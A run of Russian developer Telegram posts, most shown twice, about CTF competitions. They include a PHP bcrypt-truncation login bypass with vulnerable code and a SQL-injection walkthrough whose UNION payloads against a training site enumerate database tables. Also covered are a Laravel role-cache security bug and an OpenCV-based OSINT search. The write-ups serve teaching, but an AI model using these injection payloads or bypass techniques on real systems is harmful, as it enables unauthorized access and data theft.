🎉 Победителей из каждой секции Яндекс за свой счет привез в Москву, оплатил проживание, устроили экскурсии по своим офисам и провели фуршет с церемонией награждения. Призы были больше на память, чем ценные, но тоже приятно – футболка, носки, стикеры, сертификат и приглашение на упрощенное собеседование. От собесов я отказался, но на фуршете покушал за троих :) В посте моя фотка с церемонии и сертификат.
😬 Двухмесячный марафон задач прилично вымотал — с некоторыми задачами приходилось сидеть по несколько ночей подряд, и последующие несколько месяцев снова ушли на восстановление сил. Но в феврале этого 2025 года мне пришла рассылка от Яндекса, что они запускают новое соревнование – фронтендовский CTF.
❗️ P.S. Второй пост следом опубликован, в нем завершение истории. В одну публикацию не уместился текст, разучился коротко писать))
😞 В январе 2024 года стало понятно, что писать каждый день в канал мне надоело и не интересно, все самое веселое и не стандартное уже описано, а повторяться только ради очередного поста не было желания. К тому же качество явно бы стремилось вниз. И тогда я просто бросил без всяких объявлений. К тому же по работе прилично было забот, которые закружили и быстро унесли в другое русло.
😁 Но спустя полгода стало скучно, захотелось новых приключений, и в какой-то момент я наткнулся на CodeRun от Яндекса. Это был второй (2024 года) сезон по соревнованиям среди разработчиков разных направления: бекенд, фронт, мобилка, ml и аналитика. Я
🎉 Победителей из каждой секции Яндекс за свой счет привез в Москву, оплатил проживание, устроили экскурсии по своим офисам и провели фуршет с церемонией награждения. Призы были больше на память, чем ценные, но тоже приятно – футболка, носки, стикеры, сертификат и приглашение на упрощенное собеседование. От собесов я отказался, но на фуршете покушал за троих :) В посте моя фотка с церемонии и сертификат.
😬 Двухмесячный марафон задач прилично вымотал — с некоторыми задачами приходилось сидеть по несколько ночей подряд, и последующие несколько месяцев снова ушли на восстановление сил. Но в феврале этого 2025 года мне пришла рассылка от Яндекса, что они запускают новое соревнование – фронтендовский CTF.
❗️ P.S. Второй пост следом опубликован, в нем завершение истории. В одну публикацию не уместился текст, разучился коротко писать))
👍12🔥7❤1
559 дней за один два поста. Часть 2
📖 До февраля 2025 я даже слово такое не знал – CTF(Capture The Flag), как-то мимо меня это все проскочило. Хотя тема оказалась очень популярная среди разработчиков. CTF – если упростить, то это соревнования по взлому и поиску не стандартных решений в разработке. И это оказалось как раз то, чего мне не хватало. Не мучать нудные алгоритмы, а решать нестандартные и максимально приближенные к моим реальным рабочим реалиям задачи. На этом фронтовом CTF я в двух номинациях занял вторые места — обязательные и дополнительные задания решил, места распределялись по скорости.
📖 После фронтового CTF, начал уже целенаправленно искать инфу про подобные соревнования, и один из друзей подсказал попробовать уже более серьезное, где не только фронт, а и сервера, бекенд, шифрование, осинт и тд – ежегодные соревнование от Т-Банка, T-CTF 2025.
Как оказалось, в подобных мероприятиях очень редко можно добиться результатов в одиночку, всегда участвуют командами от 3-х человек, а зачастую и гораздо большим составом. В T-CTF был лимит на трех человек в команде. Скооперировать удалось только с одним разработчиком, но он поучаствовал только один не полный день, в итоге копался почти в одиночку. Соревнование длилось 48 часов – это стандартное время для подобных соревнований. Но бывают и по 12-24 часа или наоборот немного побольше.
📖 В итоге за два дня удалось решить только половину (15/30) задач и доползти до 113 места из 1800 команд. Результат не самый лучший, но эмоций и навыков за эти 2 дня было получено много. И тогда стало понятно, чем стоит заняться – подобными задачками и соревнованиями.
📖 После T-CTF быстро удалось найти мировое сообщество на данную тему, а там и расписание международных соревнований, которые проходят по 2-3 штуки каждые выходные. Уже два десятка соревнований позади и в мировом рейтинге появилась новая русская команда – БАГодельня.
❗️ Про решение таких CTF-задачек по разработке, серверам, безопасности, шифрованию, осинту, цифровой криминалистике, вперемешку и в разрезе с рабочими реалиями я планирую делиться. В соревнованиях почти каждые выходные участвую, поэтому тем для постов должно хватать всегда.
❗️P.S. Дальше посты уже будут по разработке, балаболить заканчиваю – это не лайф-канал 😁
📖 До февраля 2025 я даже слово такое не знал – CTF(Capture The Flag), как-то мимо меня это все проскочило. Хотя тема оказалась очень популярная среди разработчиков. CTF – если упростить, то это соревнования по взлому и поиску не стандартных решений в разработке. И это оказалось как раз то, чего мне не хватало. Не мучать нудные алгоритмы, а решать нестандартные и максимально приближенные к моим реальным рабочим реалиям задачи. На этом фронтовом CTF я в двух номинациях занял вторые места — обязательные и дополнительные задания решил, места распределялись по скорости.
📖 После фронтового CTF, начал уже целенаправленно искать инфу про подобные соревнования, и один из друзей подсказал попробовать уже более серьезное, где не только фронт, а и сервера, бекенд, шифрование, осинт и тд – ежегодные соревнование от Т-Банка, T-CTF 2025.
Как оказалось, в подобных мероприятиях очень редко можно добиться результатов в одиночку, всегда участвуют командами от 3-х человек, а зачастую и гораздо большим составом. В T-CTF был лимит на трех человек в команде. Скооперировать удалось только с одним разработчиком, но он поучаствовал только один не полный день, в итоге копался почти в одиночку. Соревнование длилось 48 часов – это стандартное время для подобных соревнований. Но бывают и по 12-24 часа или наоборот немного побольше.
📖 В итоге за два дня удалось решить только половину (15/30) задач и доползти до 113 места из 1800 команд. Результат не самый лучший, но эмоций и навыков за эти 2 дня было получено много. И тогда стало понятно, чем стоит заняться – подобными задачками и соревнованиями.
📖 После T-CTF быстро удалось найти мировое сообщество на данную тему, а там и расписание международных соревнований, которые проходят по 2-3 штуки каждые выходные. Уже два десятка соревнований позади и в мировом рейтинге появилась новая русская команда – БАГодельня.
❗️ Про решение таких CTF-задачек по разработке, серверам, безопасности, шифрованию, осинту, цифровой криминалистике, вперемешку и в разрезе с рабочими реалиями я планирую делиться. В соревнованиях почти каждые выходные участвую, поэтому тем для постов должно хватать всегда.
❗️P.S. Дальше посты уже будут по разработке, балаболить заканчиваю – это не лайф-канал 😁
👍17🔥5❤3
Приколы с алгоритмом Bcrypt для создания хешей
📖 Всем известно, что пароли ни в коем случае нельзя хранить в открытом виде. Перед сохранением в БД или еще куда либо, данные хешируются алгоритмами, которые работают только в одну сторону – можно создать хеш из данных, но обратно получить оригинал не получится. Расшифровать хеш нельзя, можно только повторить перебором. Иногда хеши могут даже совпадать на разных исходных данных, но в любом случае время на «взлом» хеша требуется очень много и это не гарантирует получение оригинальных данных.
Для хеширования существует много разных алгоритмов и каждый имеет свои особенности, длину и структуру результата. Самые популярные алгоритмы – это SHA-256, SHA-1, MD5 и Bcrypt. За годы разработки, я сталкивался со многими, но с Bcrypt почему-то дел особо не имел, хотя он используется во многих языках программирования, в том числе и php. И на одном из CTF судьба свела с этим алгоритмом, это было весьма полезно, особенно в связке с php. Одна особенность может создать проблемы в безопасности.
📌 По задачке была форма и код части бекенда авторизации. Приведу только самую интересную часть, ее будет достаточно для понимания:
Известен хеш, соль пароля и логин админа. Сам пароль недоступен. Нужно пройти авторизацию.
❗️Если посмотреть документацию php по методу password_hash, который использует Bcrypt для хеширования, то там есть предупреждение: использование алгоритма PASSWORD_BCRYPT приведёт к обрезанию поля password до максимальной длины — 72 байта. То есть для создания хеша используется только начало строки, если она больше 72 символов.
После этого предупреждения уязвимость сразу становится понятная – хеш формируется на основе «склеенных» в строку логина, соли и пароля. Но соль тут длинная – 66 символов, логин 5 символов, это уже 71 байт. Под сам пароль остается всего один символ. Все что остается, это проверить 95 вариантов(печатные ASCII коды от 32 до 126) и подобрать первый символ пароля. Можно даже руками все варианты перебрать.
👨💻 Код с выводом результатов и хешей можно запустить тут: ссылка.
📖 Всем известно, что пароли ни в коем случае нельзя хранить в открытом виде. Перед сохранением в БД или еще куда либо, данные хешируются алгоритмами, которые работают только в одну сторону – можно создать хеш из данных, но обратно получить оригинал не получится. Расшифровать хеш нельзя, можно только повторить перебором. Иногда хеши могут даже совпадать на разных исходных данных, но в любом случае время на «взлом» хеша требуется очень много и это не гарантирует получение оригинальных данных.
Для хеширования существует много разных алгоритмов и каждый имеет свои особенности, длину и структуру результата. Самые популярные алгоритмы – это SHA-256, SHA-1, MD5 и Bcrypt. За годы разработки, я сталкивался со многими, но с Bcrypt почему-то дел особо не имел, хотя он используется во многих языках программирования, в том числе и php. И на одном из CTF судьба свела с этим алгоритмом, это было весьма полезно, особенно в связке с php. Одна особенность может создать проблемы в безопасности.
📌 По задачке была форма и код части бекенда авторизации. Приведу только самую интересную часть, ее будет достаточно для понимания:
// соль
$entropy = "additional-entropy-for-super-secure-passwords-you-will-never-guess";
$login = 'admin';
// пароль не известен, он в недоступном конфиге
$adminPass = getEnv('admin_password');
// настоящий хеш
$hashAuth = password_hash($username . $entropy . $adminPass, PASSWORD_BCRYPT);
// проверка данных из формы авторизации на соответствие хешу
if(password_verify(($_POST['user'] . $entropy . $_POST['pass']), $hashAuth)){
// успешная авторизация
}
Известен хеш, соль пароля и логин админа. Сам пароль недоступен. Нужно пройти авторизацию.
❗️Если посмотреть документацию php по методу password_hash, который использует Bcrypt для хеширования, то там есть предупреждение: использование алгоритма PASSWORD_BCRYPT приведёт к обрезанию поля password до максимальной длины — 72 байта. То есть для создания хеша используется только начало строки, если она больше 72 символов.
После этого предупреждения уязвимость сразу становится понятная – хеш формируется на основе «склеенных» в строку логина, соли и пароля. Но соль тут длинная – 66 символов, логин 5 символов, это уже 71 байт. Под сам пароль остается всего один символ. Все что остается, это проверить 95 вариантов(печатные ASCII коды от 32 до 126) и подобрать первый символ пароля. Можно даже руками все варианты перебрать.
👨💻 Код с выводом результатов и хешей можно запустить тут: ссылка.
🔥24❤7👍5
SQL-инъекции на понятном примере
📖 Каждый разработчик, старше стажера, знает, что не обработанные данные от фронта нельзя использовать в логике, особенно в запросах к базе данных. Если пихать в запросы все подряд, то легко нарваться на ошибки, но это не самая большая проблема. Пренебрежение валидацией данных приводит и к созданию серьезных уязвимостей. Даже одной не обработанной переменной достаточно, чтобы выкачать всю БД и стащить данные. А в некоторых версиях или не корректно настроенных СУБД можно еще и в файлы потом залезть, выйдя за переделы БД.
Про это все знают, но в наше время с чистыми запросами редко приходится работать, почти всегда есть надстройка из ORM, которая сама все обрабатывает и контролирует. Это расслабляет, и потом даже опытные разработчики по невнимательности могут натворить проблем, когда сталкиваются с «чистыми» запросами. Про такое нельзя забывать.
📌 Чтобы показать, как работают инъекции и чем чреваты подобные промахи, хочу показать пример самого простого взлома БД – получение данных из соседних таблиц. Для демонстрации идеально подходит простенькая тренировочная задачка из CTF. Вот «дырявый» сайт: http://tasks.duckerz.ru:30071
Кода обработчика нет в задаче, но судя по заголовкам ответа, там php на бекенде и будет что-то такое:
📌 В первую очередь определяем, где есть эндпоинт, который принимает данные и не экранируя вставляет в запросы к базе. На сайте всего два таких, быстро находим нужный: фильтрация категорий. Чтобы определить проблему, достаточно отправить ковычку и если сайт ломается, то мы на верном пути: домен/?category='
Уязвимость найдена, пробуем вклиниться в sql-запрос и добавить свою логику для получения дополнительных данных.
Самый простой путь, это встраивание своих запросов через UNION. Но чтобы полный(бекенд + наше дополнение) запрос был согласованный, нужно понять столько столбцов в таблице, к которой идет основной запрос. Для этого перебором отправляем ORDER BY N, где N это число от 1 и выше. На каком числе сайт снова сломается, столько N-1 столбцов в исходной таблице. В данном примере определяем, что столбцов 4 штуки:
С 5 уже ломается, а с 4 все ок. Итоговый запорос получается такой на бекенде:
Первая ковычка в get-параметре закрывает открытую ковычку из кода, чтобы sql-запрос остался валидным, далее мы добавляем свой order by и комментируем все остальное в запросе с помощью двух минусов в конце: --
То есть мы закрываем начало запроса, вставляем свою логику и отрезаем все, что идет дальше через комментирование sql-кода.
📌 Теперь мы знаем количество столбцов и можем приделать UNION SELECT на получение любых данных, главное дополнять количество результирующих значений до 4х штук. Тестируем запрос:
Все отработало без ошибок и на сайте вывелись наши захардкоженные 1, 2, 3 и 4 вместо данных из задуманного запроса в бекенде.
Теперь нужно узнать, что за субд используется, перебирая все известные варианты. Тут sqlite, выясняем это через такой запрос:
Узнаем полный список таблиц в БД:
📌 Среди всего списка самая интересная таблица – это s3cret, изучаем ее структуру с помощью запроса:
Получаем полный список столбцов и их тип данных. Видим столбец fl4g – там нужная информация.
❗️ Остается написать один запрос на получение значения, его расписывать не буду – кому интересно, сами можете попробовать. Если не получится, то в комментах пишите, там отвечу и подскажу.
Тренировочный полигон: http://tasks.duckerz.ru:30071
Задачка взята с сайта duckerz.ru
📖 Каждый разработчик, старше стажера, знает, что не обработанные данные от фронта нельзя использовать в логике, особенно в запросах к базе данных. Если пихать в запросы все подряд, то легко нарваться на ошибки, но это не самая большая проблема. Пренебрежение валидацией данных приводит и к созданию серьезных уязвимостей. Даже одной не обработанной переменной достаточно, чтобы выкачать всю БД и стащить данные. А в некоторых версиях или не корректно настроенных СУБД можно еще и в файлы потом залезть, выйдя за переделы БД.
Про это все знают, но в наше время с чистыми запросами редко приходится работать, почти всегда есть надстройка из ORM, которая сама все обрабатывает и контролирует. Это расслабляет, и потом даже опытные разработчики по невнимательности могут натворить проблем, когда сталкиваются с «чистыми» запросами. Про такое нельзя забывать.
📌 Чтобы показать, как работают инъекции и чем чреваты подобные промахи, хочу показать пример самого простого взлома БД – получение данных из соседних таблиц. Для демонстрации идеально подходит простенькая тренировочная задачка из CTF. Вот «дырявый» сайт: http://tasks.duckerz.ru:30071
Кода обработчика нет в задаче, но судя по заголовкам ответа, там php на бекенде и будет что-то такое:
// берем значение из get-параметра
$category = $_GET['category'];
// и без экранирования, используем в запросе
$sql = "SELECT * FROM categories WHERE category = '$category'";
// выполняем запрос к БД
$result = $conn->query($sql);
// что может пойти не так?
📌 В первую очередь определяем, где есть эндпоинт, который принимает данные и не экранируя вставляет в запросы к базе. На сайте всего два таких, быстро находим нужный: фильтрация категорий. Чтобы определить проблему, достаточно отправить ковычку и если сайт ломается, то мы на верном пути: домен/?category='
Уязвимость найдена, пробуем вклиниться в sql-запрос и добавить свою логику для получения дополнительных данных.
Самый простой путь, это встраивание своих запросов через UNION. Но чтобы полный(бекенд + наше дополнение) запрос был согласованный, нужно понять столько столбцов в таблице, к которой идет основной запрос. Для этого перебором отправляем ORDER BY N, где N это число от 1 и выше. На каком числе сайт снова сломается, столько N-1 столбцов в исходной таблице. В данном примере определяем, что столбцов 4 штуки:
домен/?category=' ORDER BY 4 --
С 5 уже ломается, а с 4 все ок. Итоговый запорос получается такой на бекенде:
SELECT * FROM categories WHERE category = '' ORDER BY 4 -- любое продолжение запроса
Первая ковычка в get-параметре закрывает открытую ковычку из кода, чтобы sql-запрос остался валидным, далее мы добавляем свой order by и комментируем все остальное в запросе с помощью двух минусов в конце: --
То есть мы закрываем начало запроса, вставляем свою логику и отрезаем все, что идет дальше через комментирование sql-кода.
📌 Теперь мы знаем количество столбцов и можем приделать UNION SELECT на получение любых данных, главное дополнять количество результирующих значений до 4х штук. Тестируем запрос:
/?category=' UNION SELECT 1,2,3,4 --
Все отработало без ошибок и на сайте вывелись наши захардкоженные 1, 2, 3 и 4 вместо данных из задуманного запроса в бекенде.
Теперь нужно узнать, что за субд используется, перебирая все известные варианты. Тут sqlite, выясняем это через такой запрос:
/?category=' UNION SELECT 1,@@version,3,4 --
Узнаем полный список таблиц в БД:
/?category=' UNION SELECT 1,name,3,4 FROM sqlite_master WHERE type='table'--
📌 Среди всего списка самая интересная таблица – это s3cret, изучаем ее структуру с помощью запроса:
/?category=' UNION SELECT 1,sql,3,4 FROM sqlite_master WHERE type='table' AND name='s3cret'--
Получаем полный список столбцов и их тип данных. Видим столбец fl4g – там нужная информация.
❗️ Остается написать один запрос на получение значения, его расписывать не буду – кому интересно, сами можете попробовать. Если не получится, то в комментах пишите, там отвечу и подскажу.
Тренировочный полигон: http://tasks.duckerz.ru:30071
Задачка взята с сайта duckerz.ru
👍11🔥10❤7
Небезопасный кеш данных
📖 Кеширование данных – это полезно для скорости работы и оптимизации. Но часто кеш преподносит сюрпризы, если с ним напортачить или что-то не предусмотреть. Можно нарваться на не валидные или неактуальные данные, когда происходит коллизия ключей или случаются проблемы в механизмах очистки, актуализации или времени жизни кеша. И еще много других вариаций проблем и ошибок. Ничего нового, как и с другим инструментом, с кешированием нужно работать обдуманно.
Но иногда проблемы могут появиться там, где их совсем не ждешь и в таких местах, которые не заметны, однако очень критичны, вплоть до угрозы безопасности всей системы. Так и случилось недавно на одном из рабочих проектов. Проблему удалось заметить и исправить еще до релиза, но история может быть поучительной и полезной.
📌 Делали админку для сервиса на Laravel, простенький CRUD данных. Для ускорения разработки взяли готовый Backpack и накатили его модули для управления ролями – у пользователей несколько уровней доступа: админ и пара обычных пользователей разных уровней. Модуль бекпака для ролей называется PermissionManager, вот ссылка на его репозиторий: github.
В админке, кроме crud-а для контента добавили и раздел управления ролями, где можно назначать и снимать привелегии доступа. Сделали без лишних кастомизаций, используя логику того же модуля PermissionManager. Все быстро собралось и запустилось. Но при тестировании поймали баг, что у пользователя после удаления админских прав, все еще оставались его полномочия. Роль админа оставалась доступна до тех пор, пока пользователь не разлогинится и не залогинится обратно.
Данные в БД и сессии обновлялись правильно, но пользователь все еще имел пометку админа при запросе его роли. Кеширование роли мы не добавляли, а в документации админки и модуля ролей про это ничего не нашли.
📌 Немного покопавшись в модуле, обнаружили, что он сам использует дополнительные библиотеки для работы с ролями – PermissionRegistrar из пакета Spatie. И уже в документации от Spatie нашли, что роли кешируются и работают через стандартные конфиги Laravel. А у нас в проекте используется Redis для кеша запросов к БД. Время кеша по умолчанию 24 часа. И этот кеш сам не очищается при обновлении ролей, его нужно принудительно чистить, так как библиотека обновление не производит. Так же очистки кеша не реализовано и в модуле PermissionManager.
Видимо, в таком подходе к кешированию ролей была какая-то логика, но явно про нее нигде не указано. В репозитории PermissionManager есть свежий коммит с подозрительным именем «Fix reset cache», и это единственное упоминание кеша ролей от Backpack.
❗️То есть, если бы на этапе тестирования, не была обнаружена проблема, то можно было зарелизить сервис, который отзывает роли админов с задержкой в 24 часа. А за сутки некоторые вредители могут много дел натворить. Мораль простая – нужно хорошо понимать инструменты, которые используются, а сторонние решения всегда предварительно хорошенько изучать.
📌 P.S. Если кому-то нужен фикс, то очистка кеша ролей в модуле PermissionManager от Backpack вызывается так, использовать после обновления или удаления ролей пользователя:
📖 Кеширование данных – это полезно для скорости работы и оптимизации. Но часто кеш преподносит сюрпризы, если с ним напортачить или что-то не предусмотреть. Можно нарваться на не валидные или неактуальные данные, когда происходит коллизия ключей или случаются проблемы в механизмах очистки, актуализации или времени жизни кеша. И еще много других вариаций проблем и ошибок. Ничего нового, как и с другим инструментом, с кешированием нужно работать обдуманно.
Но иногда проблемы могут появиться там, где их совсем не ждешь и в таких местах, которые не заметны, однако очень критичны, вплоть до угрозы безопасности всей системы. Так и случилось недавно на одном из рабочих проектов. Проблему удалось заметить и исправить еще до релиза, но история может быть поучительной и полезной.
📌 Делали админку для сервиса на Laravel, простенький CRUD данных. Для ускорения разработки взяли готовый Backpack и накатили его модули для управления ролями – у пользователей несколько уровней доступа: админ и пара обычных пользователей разных уровней. Модуль бекпака для ролей называется PermissionManager, вот ссылка на его репозиторий: github.
В админке, кроме crud-а для контента добавили и раздел управления ролями, где можно назначать и снимать привелегии доступа. Сделали без лишних кастомизаций, используя логику того же модуля PermissionManager. Все быстро собралось и запустилось. Но при тестировании поймали баг, что у пользователя после удаления админских прав, все еще оставались его полномочия. Роль админа оставалась доступна до тех пор, пока пользователь не разлогинится и не залогинится обратно.
Данные в БД и сессии обновлялись правильно, но пользователь все еще имел пометку админа при запросе его роли. Кеширование роли мы не добавляли, а в документации админки и модуля ролей про это ничего не нашли.
📌 Немного покопавшись в модуле, обнаружили, что он сам использует дополнительные библиотеки для работы с ролями – PermissionRegistrar из пакета Spatie. И уже в документации от Spatie нашли, что роли кешируются и работают через стандартные конфиги Laravel. А у нас в проекте используется Redis для кеша запросов к БД. Время кеша по умолчанию 24 часа. И этот кеш сам не очищается при обновлении ролей, его нужно принудительно чистить, так как библиотека обновление не производит. Так же очистки кеша не реализовано и в модуле PermissionManager.
Видимо, в таком подходе к кешированию ролей была какая-то логика, но явно про нее нигде не указано. В репозитории PermissionManager есть свежий коммит с подозрительным именем «Fix reset cache», и это единственное упоминание кеша ролей от Backpack.
❗️То есть, если бы на этапе тестирования, не была обнаружена проблема, то можно было зарелизить сервис, который отзывает роли админов с задержкой в 24 часа. А за сутки некоторые вредители могут много дел натворить. Мораль простая – нужно хорошо понимать инструменты, которые используются, а сторонние решения всегда предварительно хорошенько изучать.
📌 P.S. Если кому-то нужен фикс, то очистка кеша ролей в модуле PermissionManager от Backpack вызывается так, использовать после обновления или удаления ролей пользователя:
app(\Spatie\Permission\PermissionRegistrar::class)->forgetCachedPermissions();
🔥12👍4❤2🤝1
Эстонский Аист
❗️ Небольшой интерактив. Как найти координаты гнезда аиста в поле? Из вводных есть только четыре фотографии с панорамы google map – заскринены четыре стороны света. Фото тут: ссылка.
📖 На одном из CTF была задача на поиск такого места. Это задачка из раздела osint, где нужно найти решение на основе открытых источников – подсказки могут быть на любых сайтах. Даны были только 4 фотки и больше никаких подсказок. То, что это Эстония, смогли определить по форме дорожного знака. И во время соревнования так и не осилили задачу. И из полутора тысяч команд, только три команды смогли найти нужное место. Соревнования закончились пару недель назад, но загадка покоя не давала и посидев потом несколько вечеров, все же удалось придумать решение.
📌 Чисто теоретически, задачу можно решить и в ручном режиме, просто перебрав все гнезда Эстонии. Но на это может уйти ни один день. Поэтому искали автоматизированное решение или какие-то еще подсказки, чтобы сузить поиски.
📌 В итоге получилось придумать автоматизацию и гнездо находится скриптами за 20 мин. Решение с кодом и описанием логики работы опубликую в субботу (2 августа). Но чтобы устроить немного интерактива, предлагаю в комментариях устроить мозговой штурм – как можно найти этого аиста?
❗️ Чтобы не начинать с чистого листа, вот пара подсказок:
Вводные: архив со скринами 4х сторон света, с нужного места: фото.
Подсказка 1: это Эстония, уже упомянул в тексте
Подсказка 2: эстонский сайт, где отмечены все (3332 шт) гнезда белых аистов: сайт.
⁉️ Ваши идеи и предположения? Обсуждаем в комментариях.
❗️ Небольшой интерактив. Как найти координаты гнезда аиста в поле? Из вводных есть только четыре фотографии с панорамы google map – заскринены четыре стороны света. Фото тут: ссылка.
📖 На одном из CTF была задача на поиск такого места. Это задачка из раздела osint, где нужно найти решение на основе открытых источников – подсказки могут быть на любых сайтах. Даны были только 4 фотки и больше никаких подсказок. То, что это Эстония, смогли определить по форме дорожного знака. И во время соревнования так и не осилили задачу. И из полутора тысяч команд, только три команды смогли найти нужное место. Соревнования закончились пару недель назад, но загадка покоя не давала и посидев потом несколько вечеров, все же удалось придумать решение.
📌 Чисто теоретически, задачу можно решить и в ручном режиме, просто перебрав все гнезда Эстонии. Но на это может уйти ни один день. Поэтому искали автоматизированное решение или какие-то еще подсказки, чтобы сузить поиски.
📌 В итоге получилось придумать автоматизацию и гнездо находится скриптами за 20 мин. Решение с кодом и описанием логики работы опубликую в субботу (2 августа). Но чтобы устроить немного интерактива, предлагаю в комментариях устроить мозговой штурм – как можно найти этого аиста?
❗️ Чтобы не начинать с чистого листа, вот пара подсказок:
Вводные: архив со скринами 4х сторон света, с нужного места: фото.
Подсказка 1: это Эстония, уже упомянул в тексте
Подсказка 2: эстонский сайт, где отмечены все (3332 шт) гнезда белых аистов: сайт.
⁉️ Ваши идеи и предположения? Обсуждаем в комментариях.
🤔9❤1
Поиски Эстонского аиста
Решение задачки по поиску из прошлого поста.
📖 Osint-овской частью, по поиску гнезда было определение страны и поиск сайта, где собраны все известные в Эстонии гнезда аистов. Дальше можно было или руками проверить все 3332 места или придумать автоматизацию и/или фильтрацию мест.
Для автоматизации нужны отформатированные и структурированные данные. Их легко вытащить с сайта: ссылка. Даже парсить ничего не нужно, поскольку координаты приходят по апихе в json, одним объектом. Ответ апи тут. Из всего объекта нужны только координаты, остальное мусор. Но когда начал писать парсер, нашел поле «added» – это признак, где размещено гнездо. И среди прочего оказалось полезное «На бетонных столбах без проводов». Такая фильтрация сократила точки до 429 штук – 8 раз меньше, такое вполне реально и «руками» обработать. Однако признак я нашел уже после запила основного скрипта поиска, да и автоматизировать все равно интереснее 😁
❗️ Идея автоматизированного поиска простая – пишем бота, который будет бегать по всем известным координатам и смотреть обстановку. Оглядывается по сторонам и сравнивает местность с известными фотками. Достаточно перейти в панораму гугл карты и сделать четыре скрина: дефолтная панорама, которая открывается сразу при открыти – обычно это параллельное дороге положение. А также еще три фотки с шагом 90 градусов. На картах гугла если кликать по компасу в углу экрана, то отображение так и поворачивается – ровно на 90 градусов.
Запускаем бота по всем точкам скринить панораму с четырех сторон света. А чтобы удобнее было обрабатывать результаты, делаем скрины с именем lat_lng_degree.jpg
❗️ Когда насобирали фотки всех мест, нужно сравнить с исходными фотками. Просто попиксельное сравнение тут не годится, из-за разных масштабов и положения. Но справится машинное зрение, для этого удобно использовать библиотеку OpenCV, она есть под множество языков, но как по мне, в питоне проще использовать. Базовое сравнение в OpenCV не учитывает цвет, т.к. картинки сравниваются в оттенках серого, а алгоритм производит сравнение по контрольным точкам и объектам, которые считает важными. Это дает хорошие данные, но в нашем случае недостаточно. Поэтому пришлось немного помудрить и добавить три уровня проверки:
1. Сравнение в 6 разных масштабах – с шагом 10% шаблон уменьшается и увеличивается перед сверкой, а в итоге берется лучший результат.
2. Сравнение на основе ORB – поиск ключевых точек. OpenCV ищет точки на изображениях, которые по «его мнению» являются значимыми и сравнивает наличие и расположение таких точек на обоих изображениях.
3. Сравнение гистограмм – это сравнение по распределению цветов и яркости. Такая проверка сможет напортачить, если оригиналы сделаны зимой, а на панорамах будет лето или наоборот. Но если сезон один и тот же, то поможет отбросить другие лишние варианты.
Этими тремя алгоритмами сравниваем шаблонные картинки с каждой стороной света из набора одних и тех же координат. Выбираем лучшие варианты по всем сторонам света и высчитываем итоговый результат схожести шаблона и места с панорамы.
📌 В итоге бот пробегается во всем местам, делает фотки с четырех сторон и сравнивает их с шаблонными изображениями. Все результаты сортируем и после выполнения, нужное место было на первом месте, набрав 32.5% схожести. На втором и третьем месте по 29%, далее ниже 25%.
Первая версия скрипта «бегала» по панорам 13 часов, а потом еще около часа сравнивала результаты. Но после фильтрации точек до 430, дело пошло шустрее – 2.5 часа. Это все равно много, пришлось запустить бота на 10 потоков, больше мой ноут не вытянул (это 10 открытых в фоне браузеров). Скрипт сверки фоток тоже разделил на потоки. Итоговое время работы составило 19 минут: 13.5 мин сбор фоток и 5.5 мин сверка с исходными фотками.
✏️ Код писал безжалостно мучая нейронку, объясняя, что дописывать в мои алгоритмы, потом руками до ума доводил. Поэтому качество может немного хромать, но для баловства самый раз, и понять идею можно. Все скрипты можно скачать тут: архив.
👀 Посмотреть на аиста тут
Решение задачки по поиску из прошлого поста.
📖 Osint-овской частью, по поиску гнезда было определение страны и поиск сайта, где собраны все известные в Эстонии гнезда аистов. Дальше можно было или руками проверить все 3332 места или придумать автоматизацию и/или фильтрацию мест.
Для автоматизации нужны отформатированные и структурированные данные. Их легко вытащить с сайта: ссылка. Даже парсить ничего не нужно, поскольку координаты приходят по апихе в json, одним объектом. Ответ апи тут. Из всего объекта нужны только координаты, остальное мусор. Но когда начал писать парсер, нашел поле «added» – это признак, где размещено гнездо. И среди прочего оказалось полезное «На бетонных столбах без проводов». Такая фильтрация сократила точки до 429 штук – 8 раз меньше, такое вполне реально и «руками» обработать. Однако признак я нашел уже после запила основного скрипта поиска, да и автоматизировать все равно интереснее 😁
❗️ Идея автоматизированного поиска простая – пишем бота, который будет бегать по всем известным координатам и смотреть обстановку. Оглядывается по сторонам и сравнивает местность с известными фотками. Достаточно перейти в панораму гугл карты и сделать четыре скрина: дефолтная панорама, которая открывается сразу при открыти – обычно это параллельное дороге положение. А также еще три фотки с шагом 90 градусов. На картах гугла если кликать по компасу в углу экрана, то отображение так и поворачивается – ровно на 90 градусов.
Запускаем бота по всем точкам скринить панораму с четырех сторон света. А чтобы удобнее было обрабатывать результаты, делаем скрины с именем lat_lng_degree.jpg
❗️ Когда насобирали фотки всех мест, нужно сравнить с исходными фотками. Просто попиксельное сравнение тут не годится, из-за разных масштабов и положения. Но справится машинное зрение, для этого удобно использовать библиотеку OpenCV, она есть под множество языков, но как по мне, в питоне проще использовать. Базовое сравнение в OpenCV не учитывает цвет, т.к. картинки сравниваются в оттенках серого, а алгоритм производит сравнение по контрольным точкам и объектам, которые считает важными. Это дает хорошие данные, но в нашем случае недостаточно. Поэтому пришлось немного помудрить и добавить три уровня проверки:
1. Сравнение в 6 разных масштабах – с шагом 10% шаблон уменьшается и увеличивается перед сверкой, а в итоге берется лучший результат.
2. Сравнение на основе ORB – поиск ключевых точек. OpenCV ищет точки на изображениях, которые по «его мнению» являются значимыми и сравнивает наличие и расположение таких точек на обоих изображениях.
3. Сравнение гистограмм – это сравнение по распределению цветов и яркости. Такая проверка сможет напортачить, если оригиналы сделаны зимой, а на панорамах будет лето или наоборот. Но если сезон один и тот же, то поможет отбросить другие лишние варианты.
Этими тремя алгоритмами сравниваем шаблонные картинки с каждой стороной света из набора одних и тех же координат. Выбираем лучшие варианты по всем сторонам света и высчитываем итоговый результат схожести шаблона и места с панорамы.
📌 В итоге бот пробегается во всем местам, делает фотки с четырех сторон и сравнивает их с шаблонными изображениями. Все результаты сортируем и после выполнения, нужное место было на первом месте, набрав 32.5% схожести. На втором и третьем месте по 29%, далее ниже 25%.
Первая версия скрипта «бегала» по панорам 13 часов, а потом еще около часа сравнивала результаты. Но после фильтрации точек до 430, дело пошло шустрее – 2.5 часа. Это все равно много, пришлось запустить бота на 10 потоков, больше мой ноут не вытянул (это 10 открытых в фоне браузеров). Скрипт сверки фоток тоже разделил на потоки. Итоговое время работы составило 19 минут: 13.5 мин сбор фоток и 5.5 мин сверка с исходными фотками.
✏️ Код писал безжалостно мучая нейронку, объясняя, что дописывать в мои алгоритмы, потом руками до ума доводил. Поэтому качество может немного хромать, но для баловства самый раз, и понять идею можно. Все скрипты можно скачать тут: архив.
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥14👍4❤2💊1
Побег с помощью Brainfuck
